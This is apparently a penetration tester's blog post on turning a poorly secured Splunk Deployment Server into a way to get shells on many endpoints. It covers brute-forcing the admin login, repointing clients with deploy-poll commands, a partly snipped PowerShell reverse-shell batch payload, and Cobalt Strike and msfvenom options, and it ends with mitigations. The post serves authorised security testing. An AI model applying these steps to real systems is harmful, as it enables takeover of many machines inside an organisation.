Abusing Splunk Deployment Servers for Shells

August 29, 2018 Mac

Large organisations are now including Splunk as part of their monitoring suite, but a significant number are not securing their installations properly. Organisations either use plaintext protocols for the web based control panel, or do not activate the anti-brute force protections within the Splunk user control panel. Splunk is also capable of using Active Directory based authentication, which may link into other administrative credential management such as CyberArk.

I’m going to run through a demonstration of how one poorly configured Splunk instance can lead to multiple machine compromise. The Splunk app I’ll be deploying comes from Tevora (and more specifically, here) who should be credited for their excellent work.

Splunk is a large topic, and to explain all the various server roles would take much longer than you have to read this guide, but one feature it is possible to abuse is the deployment of Splunk Apps to monitored clients. Organisations frequently have a multi tier setup of monitoring, with a site-specific Splunk server being responsible for site-local log collection, deployments as well as forwarding to the ‘Central Search Head’. If you are able to compromise the Deployment Server for a site, then all endpoints that server is responsible for can be compromised. You can also target your attack with much more granularity if required – just to focus on those DCs hidden in the Server subnet for example!

The Universal Forwarders on the endpoints ‘check-in’ with their Deployment Servers frequently to check whether there are any new applications or tasks that they are to run.

A representation can be seen below.

Table of Contents

Brute Force Login Credentials

Find the admin panel (usually TCP/8000) and capture in Burp. Send to Intruder and bruteforce with a customised wordlist. In my lab, I found that a response length of 399kb was a failed login, with a successful login returning 696kb. Alternatively, if the organisation is using HTTP rather than HTTPS you could gain credentials through arp-spoofing (careful in Production!) or through the use of a hub.

Bruteforcing the credentials via Burp Intruder.

Once logged into the Splunk Admin panel you need to verify whether the server is configured as a Deployment Server, or if your client is content for you to do so, you can add the Splunk server as a Deployment Server to their environment. To actually gain compromise will require some mechanism of running the following commands to tell the clients about the new Deployment Server (Note: Management Port of 8089 is used, rather 8080 that is used for web admin):

c:\Program Files\Splunk\bin>splunk login (if required)

c:\Program Files\Splunk\bin>splunk set deploy-poll <IP>:8089

c:\Program Files\Splunk\bin>splunk restart

If you have access to the Splunk Deployment Server via SSH, you can check whether it is ‘phoning home’ with:

/opt/splunk/etc/system/local> cat deploymentclient.conf

./splunk display deploy-client

Adding a Deployment Server If Required

Navigate to the following menu location.

Settings => Monitoring Console => Settings => General Setup => Actions => Edit Server

Adding a new Deployment Server – took me a while to find the option, so highlighted in this screenshot.

Once active as a Deployment Server, proceed onwards to uploading the malicious Splunk app and compromising endpoints.

Browsing to http://<IP>:8000/en-GB/app/launcher/apps/local will show any existing applications that the Deployment Server is managing. You’ll note that in the top right hand corner is the Install App From File option. This will allow you to upload an archive containing your malicious App. If by some stroke of luck you have access to the filesystem, you can put files in %splunkdir%/etc/deployment-apps and Splunk will pick them up on next load.

Customising the Malicious App

Once the App is uploaded I’m not aware of a mechanism to allow it to be modified, so now is the time to edit the conf files with your IP details.

The inputs.conf file located within the Tevora app defines which scripts will run, if you want them all to run, change Disabled to 0 and ensure SourceType matches the app name (I did not change SourceType in my lab and it worked with no issues). You will need to make sure that you set up any required listeners / ensure you don’t have two shells attempting to bind on the same port etc.

The meterp_powershell_reverse_https.bat example payload contained within the Tevora app is quite clever in that it correctly detects the architecture of the endpoint, and calls the correct version of Powershell. I’ve snipped the command but in summary it declares a variable called %command% into which base64’d text is placed, then passes that variable to differing Powershell executables.

@echo off
<snip>

if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command %command%) else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command %command%)

The majority of the payloads are pretty self explanatory, you can amend port numbers and IPs as required, but I’d prefer to use them as a scaffold for some custom code. An easy tweak would be generating an msfvenom payload, or running a PS download cradle to download and execute a Cobalt Strike stager without touching disk.

You could use this to chain virtually any code execution / application whitelisting bypass you desire. It just depends on how robust and mature the environment is!

NOTE: Splunk also includes Python when it installs, so that gives you another vector if Powershell is not possible. If you have an interactive session, and know the local Splunk password, you can run something similar to $SPLUNK_HOME/bin/splunk cmd python yourscript.py which will execute in the Splunk user context (frequently highly privileged).

Now that you have customised the payload, tar / zip it up and upload to the Deployment Server as described previously.

Pushing the App to Clients

You can usually find the clients that your Deployment Server is aware of listed in http://<IP>:8000/en-GB/manager/system/deploymentserver?t=2

Before you go any further, set up the required listeners in MSF / ensure your Cobalt Strike teamserver is waiting to stage the payloads. If deploying the payload to multiple servers, ensure that you run the listeners as a job. You do want that glorious screenshot of $LOTS of SYSTEM shells to demonstrate the risk to the client don’t you!

Create a new Server Class and add Apps and Clients to it. I’d suggest when adding Clients you add a subset of the environment as a test, before widening the scope. It does accept a wildcard (*) option however! What is very useful is the option to filter by Machine Type which can help you target particular payloads (create one malicous App for each OS type if required and upload two copies) to Windows hosts, and differing payloads to Linux.

Successful deployment should look similar to the following:

It may take a few moments for the Client to check-in and receive the commands. You can check the last Phone Home time at http://<IP>:8000/en-GB/manager/system/deploymentserver?t=2 and ensure that it has checked in. If it has checked in but you haven’t received any shells, it is likely that the App hasn’t deployed correctly.

A simple deployment against a Linux host.

With a little bit of work, you can get Cobalt Strike to fire. This is literally a powershell one-liner in a batch file, so not particularly elegant, however you can customise this as required.

Mitigations:

Enforce 2FA on all Splunk (and all sysadmin tools) logins, and activate anti-brute force protections.
Monitor for additional Splunk applications being installed to Deployment Servers.
Disable the ability for Splunk applications to be uploaded through the web based control panel (deny access to Install App From File option), instead forcing public-key SSH connections to write to the filesystem.
Where possible, do not run the Splunk daemon / agent on endpoints as SYSTEM.